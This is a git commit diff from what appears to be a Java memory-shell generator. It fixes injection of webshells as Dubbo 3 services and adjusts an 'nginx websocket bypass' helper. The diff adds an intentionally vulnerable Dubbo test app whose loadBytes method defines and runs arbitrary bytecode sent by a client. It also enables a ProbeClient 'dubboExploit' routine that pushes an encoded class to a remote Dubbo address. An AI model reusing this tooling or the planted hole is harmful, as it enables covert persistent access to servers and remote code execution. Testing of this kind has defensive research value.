fix: dubbo3 inject failed
Dev Deploy / Build Jar (ubuntu-latest) (push) Has been cancelled
Dev Deploy / Build Jar (windows-latest) (push) Has been cancelled
MemShell IntegrationTest / xxljob (push) Has been cancelled
MemShell IntegrationTest / springwebmvc (push) Has been cancelled
MemShell IntegrationTest / springwebflux (push) Has been cancelled
MemShell IntegrationTest / struct2 (push) Has been cancelled
MemShell IntegrationTest / tomcat (push) Has been cancelled
MemShell IntegrationTest / glassfish (push) Has been cancelled
MemShell IntegrationTest / jbosseap (push) Has been cancelled
MemShell IntegrationTest / jetty (push) Has been cancelled
MemShell IntegrationTest / payara (push) Has been cancelled
MemShell IntegrationTest / wildfly (push) Has been cancelled
MemShell IntegrationTest / jbossas (push) Has been cancelled
MemShell IntegrationTest / resin (push) Has been cancelled
MemShell IntegrationTest / weblogic (push) Has been cancelled
MemShell IntegrationTest / websphere7 (push) Has been cancelled
MemShell IntegrationTest / websphere (push) Has been cancelled
Unit-Test / UniteTest (push) Has been cancelled
Dev Deploy / Docker Push (push) Has been cancelled
Dev Deploy / Deploy to Maven Central (push) Has been cancelled
Dev Deploy / Deploy to Northflank (push) Has been cancelled

This commit is contained in:
ReaJason
2026-03-21 10:01:59 +08:00
parent cf8f731e56
commit e793d573d4
20 changed files with 385 additions and 200 deletions
@@ -64,19 +64,24 @@ public class MemShellGenerator {
byte[] shellBytes = ShellToolFactory.generateBytes(shellConfig, shellToolConfig); byte[] shellBytes = ShellToolFactory.generateBytes(shellConfig, shellToolConfig);
if (ShellType.DUBBO_SERVICE.equals(shellConfig.getShellType())) { if (ShellType.DUBBO_SERVICE.equals(shellConfig.getShellType())) {
String interfaceName = shellToolConfig.getShellClassName() + "$1"; String packageName = CommonUtil.getPackageName(shellToolConfig.getShellClassName());
String simpleName = CommonUtil.getSimpleName(shellToolConfig.getShellClassName());
String interfaceName = packageName + ".I" + simpleName;
injectorConfig.setInjectorHelperClassName(interfaceName);
injectorConfig.setHelperClassBytes(DubboServiceInterfaceHelperGenerator.getBytes(interfaceName, shellConfig)); injectorConfig.setHelperClassBytes(DubboServiceInterfaceHelperGenerator.getBytes(interfaceName, shellConfig));
shellBytes = ClassInterfaceUtils.addInterface(shellBytes, interfaceName); shellBytes = ClassInterfaceUtils.addInterface(shellBytes, interfaceName);
String urlPattern = injectorConfig.getUrlPattern(); String urlPattern = injectorConfig.getUrlPattern();
if (Strings.CS.equalsAny(urlPattern, "/*", "/") if (Strings.CS.equalsAny(urlPattern, "/*", "/")
|| StringUtils.isBlank(urlPattern)) { || StringUtils.isBlank(urlPattern)) {
injectorConfig.setUrlPattern(shellToolConfig.getShellClassName()); injectorConfig.setUrlPattern(interfaceName);
} }
} }
if (ShellType.BYPASS_NGINX_WEBSOCKET.equals(shellConfig.getShellType()) if (ShellType.BYPASS_NGINX_WEBSOCKET.equals(shellConfig.getShellType())
|| ShellType.JAKARTA_BYPASS_NGINX_WEBSOCKET.equals(shellConfig.getShellType())) { || ShellType.JAKARTA_BYPASS_NGINX_WEBSOCKET.equals(shellConfig.getShellType())) {
injectorConfig.setHelperClassBytes(WebSocketByPassHelperGenerator.getBytes(shellConfig, shellToolConfig)); String helperClassName = shellToolConfig.getShellClassName() + "$1";
injectorConfig.setInjectorHelperClassName(helperClassName);
injectorConfig.setHelperClassBytes(WebSocketByPassHelperGenerator.getBytes(helperClassName, shellConfig, shellToolConfig));
} }
injectorConfig.setInjectorClass(injectorClass); injectorConfig.setInjectorClass(injectorClass);
@@ -43,6 +43,11 @@ public class InjectorConfig {
*/ */
private byte[] shellClassBytes; private byte[] shellClassBytes;
/**
* 辅助类类名
*/
private String injectorHelperClassName;
/** /**
* 辅助类字节码 * 辅助类字节码
*/ */
@@ -18,7 +18,7 @@ import static net.bytebuddy.matcher.ElementMatchers.named;
* @since 2026/1/13 * @since 2026/1/13
*/ */
public class WebSocketByPassHelperGenerator { public class WebSocketByPassHelperGenerator {
public static byte[] getBytes(ShellConfig shellConfig, ShellToolConfig shellToolConfig) { public static byte[] getBytes(String helperClassName, ShellConfig shellConfig, ShellToolConfig shellToolConfig) {
Pair<String, String> headerPair = getHeaderPair(shellToolConfig); Pair<String, String> headerPair = getHeaderPair(shellToolConfig);
if (headerPair == null) { if (headerPair == null) {
throw new GenerationException("unsupported shell config: " + shellConfig.getShellTool()); throw new GenerationException("unsupported shell config: " + shellConfig.getShellTool());
@@ -30,7 +30,7 @@ public class WebSocketByPassHelperGenerator {
.visit(new TargetJreVersionVisitorWrapper(shellConfig.getTargetJreVersion())) .visit(new TargetJreVersionVisitorWrapper(shellConfig.getTargetJreVersion()))
.field(named("headerName")).value(headerPair.getKey()) .field(named("headerName")).value(headerPair.getKey())
.field(named("headerValue")).value(headerPair.getValue()) .field(named("headerValue")).value(headerPair.getValue())
.name(shellToolConfig.getShellClassName() + "$1"); .name(helperClassName);
if (shellConfig.isJakarta()) { if (shellConfig.isJakarta()) {
builder = builder.visit(ServletRenameVisitorWrapper.INSTANCE); builder = builder.visit(ServletRenameVisitorWrapper.INSTANCE);
} }
@@ -6,7 +6,6 @@ import org.apache.dubbo.common.utils.NetUtils;
import org.apache.dubbo.config.ProtocolConfig; import org.apache.dubbo.config.ProtocolConfig;
import org.apache.dubbo.config.RegistryConfig; import org.apache.dubbo.config.RegistryConfig;
import org.apache.dubbo.config.ServiceConfig; import org.apache.dubbo.config.ServiceConfig;
import org.apache.dubbo.config.ServiceConfigBase;
import org.apache.dubbo.config.context.ConfigManager; import org.apache.dubbo.config.context.ConfigManager;
import org.apache.dubbo.rpc.model.ApplicationModel; import org.apache.dubbo.rpc.model.ApplicationModel;
@@ -152,9 +151,43 @@ public class DubboServiceInjector {
} }
} }
@SuppressWarnings("all")
private boolean isPathRegisteredInFramework(String path) { private boolean isPathRegisteredInFramework(String path) {
Collection<ServiceConfigBase> services = ApplicationModel.getConfigManager().getServices(); try {
return services.stream().anyMatch(s -> path.equals(s.getPath())); for (Object service : getRegisteredServices()) {
try {
Method getPath = service.getClass().getMethod("getPath");
if (path.equals(getPath.invoke(service))) {
return true;
}
} catch (Exception ignored) {
}
}
} catch (Exception ignored) {
}
return false;
}
@SuppressWarnings("all")
private Collection<?> getRegisteredServices() {
try {
ConfigManager configManager = ApplicationModel.getConfigManager();
Method getServices = configManager.getClass().getMethod("getServices");
return (Collection<?>) getServices.invoke(configManager);
} catch (Exception e) {
try {
Method defaultModel = ApplicationModel.class.getMethod("defaultModel");
Object model = defaultModel.invoke(null);
Method getDefaultModule = model.getClass().getMethod("getDefaultModule");
Object moduleModel = getDefaultModule.invoke(model);
Method getConfigManager = moduleModel.getClass().getMethod("getConfigManager");
Object moduleConfigManager = getConfigManager.invoke(moduleModel);
Method getServices = moduleConfigManager.getClass().getMethod("getServices");
return (Collection<?>) getServices.invoke(moduleConfigManager);
} catch (Exception ex) {
return new ArrayList<>();
}
}
} }
private String normalizePath(String path) { private String normalizePath(String path) {
@@ -200,6 +233,7 @@ public class DubboServiceInjector {
serviceConfig.setRef(serviceInstance); serviceConfig.setRef(serviceInstance);
serviceConfig.setPath(path); serviceConfig.setPath(path);
serviceConfig.setVersion("1.0.0"); serviceConfig.setVersion("1.0.0");
serviceConfig.setProxy("jdk");
serviceConfig.setApplication(configManager.getApplication().orElse(null)); serviceConfig.setApplication(configManager.getApplication().orElse(null));
List<ProtocolConfig> protocols = new ArrayList<>(configManager.getDefaultProtocols()); List<ProtocolConfig> protocols = new ArrayList<>(configManager.getDefaultProtocols());
@@ -145,7 +145,7 @@ public class CommonUtil {
+ "." + MIDDLEWARE_NAMES[new Random().nextInt(MIDDLEWARE_NAMES.length)] + shellType; + "." + MIDDLEWARE_NAMES[new Random().nextInt(MIDDLEWARE_NAMES.length)] + shellType;
} }
public static String getSimpleName(String injectorClassName) { public static String getSimpleName(String className) {
return injectorClassName.substring(injectorClassName.lastIndexOf(".") + 1); return className.substring(className.lastIndexOf(".") + 1);
} }
} }
+1
View File
@@ -35,6 +35,7 @@ include("generator")
include("thirdparty:thirdparty-tomcat") include("thirdparty:thirdparty-tomcat")
include("integration-test") include("integration-test")
include("vul:vul-dubbo278") include("vul:vul-dubbo278")
include("vul:vul-dubbo315")
include("vul:vul-webapp") include("vul:vul-webapp")
include("vul:vul-webapp-jakarta") include("vul:vul-webapp-jakarta")
include("vul:vul-webapp-expression") include("vul:vul-webapp-expression")
@@ -1,15 +1,11 @@
package com.reajason.javaweb.vuldubbo278; package com.reajason.javaweb.dubbo;
import org.apache.dubbo.common.bytecode.ClassGenerator;
import org.apache.dubbo.common.utils.ClassUtils;
import org.apache.dubbo.config.annotation.DubboService; import org.apache.dubbo.config.annotation.DubboService;
import org.springframework.beans.factory.annotation.Value; import org.springframework.beans.factory.annotation.Value;
@DubboService(version = "1.0.0", path = "demo_say_hello") @DubboService(version = "1.0.0", path = "demo_say_hello")
public class DefaultDemoService extends ClassLoader implements DemoService { public class DefaultDemoService extends ClassLoader implements DemoService {
private final DubboServiceInjector dubboServiceInjector = new DubboServiceInjector();
/** /**
* The default value of ${dubbo.application.name} is ${spring.application.name} * The default value of ${dubbo.application.name} is ${spring.application.name}
*/ */
@@ -35,9 +31,4 @@ public class DefaultDemoService extends ClassLoader implements DemoService {
} }
return o.toString(); return o.toString();
} }
@Override
public String registerService(String path, String interfaceClassName, String implementationClassName) {
return dubboServiceInjector.registerService(path, interfaceClassName, implementationClassName);
}
} }
@@ -0,0 +1,9 @@
package com.reajason.javaweb.dubbo;
public interface DemoService {
String sayHello(String name);
String loadBytes(byte[] bytes);
}
@@ -1,4 +1,4 @@
package com.reajason.javaweb.vuldubbo278; package com.reajason.javaweb.dubbo;
import com.caucho.hessian.client.HessianProxyFactory; import com.caucho.hessian.client.HessianProxyFactory;
import com.caucho.hessian.io.HessianRemoteObject; import com.caucho.hessian.io.HessianRemoteObject;
@@ -18,11 +18,11 @@ public class ProbeClient {
public static void main(String[] args) throws Exception { public static void main(String[] args) throws Exception {
// dubboSayHello("dubbo://127.0.0.1:12345/demo_say_hello"); // dubboSayHello("dubbo://127.0.0.1:12345/demo_say_hello");
// try { try {
// dubboExploit(); dubboExploit();
// } catch (Exception e) { } catch (Exception e) {
// e.printStackTrace(); e.printStackTrace();
// } }
// exploit(); // exploit();
} }
@@ -58,9 +58,9 @@ public class ProbeClient {
} }
public static void dubboExploit() throws Exception { public static void dubboExploit() throws Exception {
String url = "dubbo://192.168.31.206:12345/org.apache.http.web.handlers.wJMhG.OAuthDubboService"; String url = "dubbo://198.18.0.1:50051/org.apache.http.web.handlers.VTcIU.AuthDubboService";
String b = "H4sIAAAAAAAA/zv1b9c+BgYGEwZ2Rgaz/KJ0/cSCxOSMVP2MkpIC/fLUJP2MxLyUnNSiYv1yL98Md31/x9KSDJfSpKT84NSisszkVBVDdgZGRgaBrMSyRP2cxLx0ff+krNTkEnYGZkYGNohuIEMj2kkz2omNkYGJgYUBBBhZGBlYGdhATAD+bjiShAAAAA=="; String b = "yv66vgAAADQABwEANW9yZy9hcGFjaGUvaHR0cC93ZWIvaGFuZGxlcnMvVlRjSVUvQXV0aER1YmJvU2VydmljZSQxBwABAQAQamF2YS9sYW5nL09iamVjdAcAAwEABmhhbmRsZQEABihbQilbQgYBAAIABAAAAAAAAQQBAAUABgAAAAA=";
byte[] bytes = gzipDecompress(Base64.getDecoder().decode(b)); byte[] bytes = Base64.getDecoder().decode(b);
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class); Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
defineClass.setAccessible(true); defineClass.setAccessible(true);
ClassLoader classLoader = ClassGenerator.class.getClassLoader(); ClassLoader classLoader = ClassGenerator.class.getClassLoader();
@@ -70,6 +70,7 @@ public class ProbeClient {
reference.setApplication(new ApplicationConfig("dubbo-consumer")); reference.setApplication(new ApplicationConfig("dubbo-consumer"));
reference.setInterface(clazz); reference.setInterface(clazz);
reference.setVersion("1.0.0"); reference.setVersion("1.0.0");
reference.setProxy("jdk");
reference.setUrl(url); reference.setUrl(url);
try { try {
@@ -1,11 +1,7 @@
package com.reajason.javaweb.vuldubbo278; package com.reajason.javaweb.dubbo;
import org.springframework.boot.ApplicationRunner;
import org.springframework.boot.SpringApplication; import org.springframework.boot.SpringApplication;
import org.springframework.boot.autoconfigure.SpringBootApplication; import org.springframework.boot.autoconfigure.SpringBootApplication;
import org.springframework.context.annotation.Bean;
import javax.script.ScriptEngineManager;
@SpringBootApplication @SpringBootApplication
public class VulDubbo278Application { public class VulDubbo278Application {
@@ -1,10 +0,0 @@
package com.reajason.javaweb.vuldubbo278;
public interface DemoService {
String sayHello(String name);
String loadBytes(byte[] bytes);
String registerService(String path, String interfaceClassName, String implementationClassName);
}
@@ -1,154 +0,0 @@
package com.reajason.javaweb.vuldubbo278;
import org.apache.dubbo.common.utils.NetUtils;
import org.apache.dubbo.config.ProtocolConfig;
import org.apache.dubbo.config.RegistryConfig;
import org.apache.dubbo.config.ServiceConfig;
import org.apache.dubbo.config.ServiceConfigBase;
import org.apache.dubbo.config.context.ConfigManager;
import org.apache.dubbo.rpc.model.ApplicationModel;
import org.slf4j.Logger;
import org.slf4j.LoggerFactory;
import java.lang.reflect.Constructor;
import java.lang.reflect.Modifier;
import java.util.ArrayList;
import java.util.Collection;
import java.util.List;
import java.util.Map;
import java.util.concurrent.ConcurrentHashMap;
import java.util.stream.Collectors;
public class DubboServiceInjector {
private static final Logger logger = LoggerFactory.getLogger(DubboServiceInjector.class);
private final Map<String, ServiceConfig<?>> dynamicServices = new ConcurrentHashMap<>();
public String registerService(String path, String interfaceClassName, String implementationClassName) {
String normalizedPath = normalizePath(path);
if (normalizedPath.isEmpty()) {
throw new IllegalArgumentException("path must not be empty");
}
if (dynamicServices.containsKey(normalizedPath)) {
String addresses = resolveServiceAddresses(normalizedPath);
logger.info("service path [{}] already registered by injector, skipping: {}", normalizedPath, addresses);
return addresses;
}
if (isPathRegisteredInFramework(normalizedPath)) {
String addresses = resolveServiceAddresses(normalizedPath);
logger.info("service path [{}] already registered in framework, skipping: {}", normalizedPath, addresses);
return addresses;
}
Class<?> interfaceClass = loadLocalClass(interfaceClassName);
Class<?> implementationClass = loadLocalClass(implementationClassName);
validateServiceTypes(interfaceClass, implementationClass);
Object serviceInstance = instantiate(implementationClass);
ServiceConfig<Object> serviceConfig = createServiceConfig(normalizedPath, interfaceClass, serviceInstance);
ServiceConfig<?> previous = dynamicServices.putIfAbsent(normalizedPath, serviceConfig);
if (previous != null) {
return resolveServiceAddresses(normalizedPath);
}
try {
serviceConfig.export();
String addresses = resolveServiceAddresses(normalizedPath);
logger.info("registered dynamic service [{}] at {}", normalizedPath, addresses);
return addresses;
} catch (RuntimeException e) {
dynamicServices.remove(normalizedPath, serviceConfig);
throw e;
}
}
private boolean isPathRegisteredInFramework(String path) {
Collection<ServiceConfigBase> services = ApplicationModel.getConfigManager().getServices();
return services.stream().anyMatch(s -> path.equals(s.getPath()));
}
private String normalizePath(String path) {
if (path == null) {
return "";
}
String normalized = path.trim();
while (normalized.startsWith("/")) {
normalized = normalized.substring(1);
}
return normalized;
}
private Class<?> loadLocalClass(String className) {
try {
return Class.forName(className, true, Thread.currentThread().getContextClassLoader());
} catch (ClassNotFoundException e) {
throw new IllegalArgumentException("class not found on local classpath: " + className, e);
}
}
private void validateServiceTypes(Class<?> interfaceClass, Class<?> implementationClass) {
if (!interfaceClass.isInterface()) {
throw new IllegalArgumentException("not an interface: " + interfaceClass.getName());
}
if (implementationClass.isInterface() || Modifier.isAbstract(implementationClass.getModifiers())) {
throw new IllegalArgumentException("implementation class is not instantiable: " + implementationClass.getName());
}
if (!interfaceClass.isAssignableFrom(implementationClass)) {
throw new IllegalArgumentException(implementationClass.getName()
+ " does not implement " + interfaceClass.getName());
}
}
private Object instantiate(Class<?> implementationClass) {
try {
Constructor<?> constructor = implementationClass.getDeclaredConstructor();
constructor.setAccessible(true);
return constructor.newInstance();
} catch (ReflectiveOperationException e) {
throw new IllegalArgumentException("failed to instantiate " + implementationClass.getName(), e);
}
}
@SuppressWarnings({"rawtypes", "unchecked"})
private ServiceConfig<Object> createServiceConfig(String path, Class<?> interfaceClass, Object serviceInstance) {
ConfigManager configManager = ApplicationModel.getConfigManager();
ServiceConfig serviceConfig = new ServiceConfig();
serviceConfig.setInterface(interfaceClass);
serviceConfig.setRef(serviceInstance);
serviceConfig.setPath(path);
serviceConfig.setVersion("1.0.0");
serviceConfig.setApplication(configManager.getApplication().orElse(null));
List<ProtocolConfig> protocols = new ArrayList<>(configManager.getDefaultProtocols());
if (protocols.isEmpty()) {
protocols = new ArrayList<>(configManager.getProtocols());
}
serviceConfig.setProtocols(protocols);
List<RegistryConfig> registries = new ArrayList<>(configManager.getDefaultRegistries());
if (registries.isEmpty()) {
registries = new ArrayList<>(configManager.getRegistries());
}
serviceConfig.setRegistries(registries);
return serviceConfig;
}
private String resolveServiceAddresses(String path) {
ConfigManager configManager = ApplicationModel.getConfigManager();
List<ProtocolConfig> protocols = configManager.getDefaultProtocols();
if (protocols.isEmpty()) {
protocols = new ArrayList<>(configManager.getProtocols());
}
if (protocols.isEmpty()) {
return path;
}
String localHost = NetUtils.getLocalHost();
return protocols.stream()
.map(pc -> String.format("%s://%s:%d/%s", pc.getName(), localHost, pc.getPort(), path))
.collect(Collectors.joining(", "));
}
}
+34
View File
@@ -0,0 +1,34 @@
plugins {
id("org.springframework.boot") version "2.7.6"
id("io.spring.dependency-management") version "1.0.15.RELEASE"
id("java")
}
java {
toolchain {
languageVersion = JavaLanguageVersion.of(8)
}
targetCompatibility = JavaVersion.VERSION_1_8
sourceCompatibility = JavaVersion.VERSION_1_8
}
dependencies {
implementation("org.springframework.boot:spring-boot-starter")
implementation("org.apache.dubbo:dubbo-spring-boot-starter:3.1.5")
implementation("javax.servlet:javax.servlet-api:4.0.1")
implementation("org.eclipse.jetty:jetty-server")
implementation("org.eclipse.jetty:jetty-servlet")
implementation("commons-io:commons-io:2.19.0")
implementation("net.bytebuddy:byte-buddy:1.10.10")
testImplementation("org.springframework.boot:spring-boot-starter-test") {
exclude(group = "org.mockito")
}
testImplementation("org.junit.jupiter:junit-jupiter-api")
testImplementation("org.junit.jupiter:junit-jupiter")
testRuntimeOnly("org.junit.platform:junit-platform-launcher")
runtimeOnly("com.h2database:h2")
}
tasks.test {
useJUnitPlatform()
}
@@ -0,0 +1,37 @@
package com.reajason.javaweb.dubbo;
import org.apache.dubbo.config.annotation.DubboService;
import org.springframework.beans.factory.annotation.Value;
@DubboService(version = "1.0.0", path = "demo_say_hello")
public class DefaultDemoService extends ClassLoader implements DemoService {
/**
* The default value of ${dubbo.application.name} is ${spring.application.name}
*/
@Value("${dubbo.application.name}")
private String serviceName;
public DefaultDemoService() {
super(Thread.currentThread().getContextClassLoader());
}
public String sayHello(String name) {
return String.format("[%s] : Hello, %s", serviceName, name);
}
@Override
public String loadBytes(byte[] bytes) {
System.out.println("i am in");
Class<?> aClass = defineClass(bytes, 0, bytes.length);
System.out.println("define class");
Object o = null;
try {
System.out.println("new instance");
o = aClass.newInstance();
} catch (Exception e) {
System.out.println("error for new instance");
e.printStackTrace();
}
return String.format("[%s] : Hello, %s", serviceName, o.toString());
}
}
@@ -0,0 +1,8 @@
package com.reajason.javaweb.dubbo;
public interface DemoService {
String sayHello(String name);
String loadBytes(byte[] bytes);
}
File diff suppressed because one or more lines are too long
@@ -0,0 +1,15 @@
package com.reajason.javaweb.dubbo;
import org.apache.dubbo.config.spring.context.annotation.EnableDubbo;
import org.springframework.boot.SpringApplication;
import org.springframework.boot.autoconfigure.SpringBootApplication;
@SpringBootApplication
@EnableDubbo
public class VulDubbo315Application {
public static void main(String[] args) {
SpringApplication.run(VulDubbo315Application.class, args);
}
}
@@ -0,0 +1,15 @@
# Spring boot application
spring.application.name=dubbo-auto-configuration-provider-demo
# Base packages to scan Dubbo Component: @org.apache.dubbo.config.annotation.Service
dubbo.scan.base-packages=com.reajason.javaweb.vuldubbo315
# Dubbo Application
## The default value of dubbo.application.name is ${spring.application.name}
## dubbo.application.name=${spring.application.name}
# Dubbo Protocol
dubbo.protocol.name=tri
dubbo.protocol.port=50051
## Dubbo Registry
dubbo.registry.address=N/A
+2 -2
View File
@@ -128,7 +128,7 @@ export default function ShellResult({
wrapLongLines={true} wrapLongLines={true}
header={ header={
<div className="text-xs"> <div className="text-xs">
{generateResult?.shellClassName + "$1"} {generateResult?.injectorConfig.injectorHelperClassName}
</div> </div>
} }
button={ button={
@@ -144,7 +144,7 @@ export default function ShellResult({
} }
downloadBytes( downloadBytes(
generateResult?.injectorHelperBytesBase64Str, generateResult?.injectorHelperBytesBase64Str,
generateResult?.shellClassName + "$1", generateResult?.injectorConfig.injectorHelperClassName,
); );
}} }}
> >
+1
View File
@@ -76,6 +76,7 @@ export interface NeoreGeorgShellToolConfig {
export interface InjectorConfig { export interface InjectorConfig {
injectorClassName?: string; injectorClassName?: string;
injectorHelperClassName?: string;
classInheritance?: string; classInheritance?: string;
urlPattern?: string; urlPattern?: string;
staticInitialize?: boolean; staticInitialize?: boolean;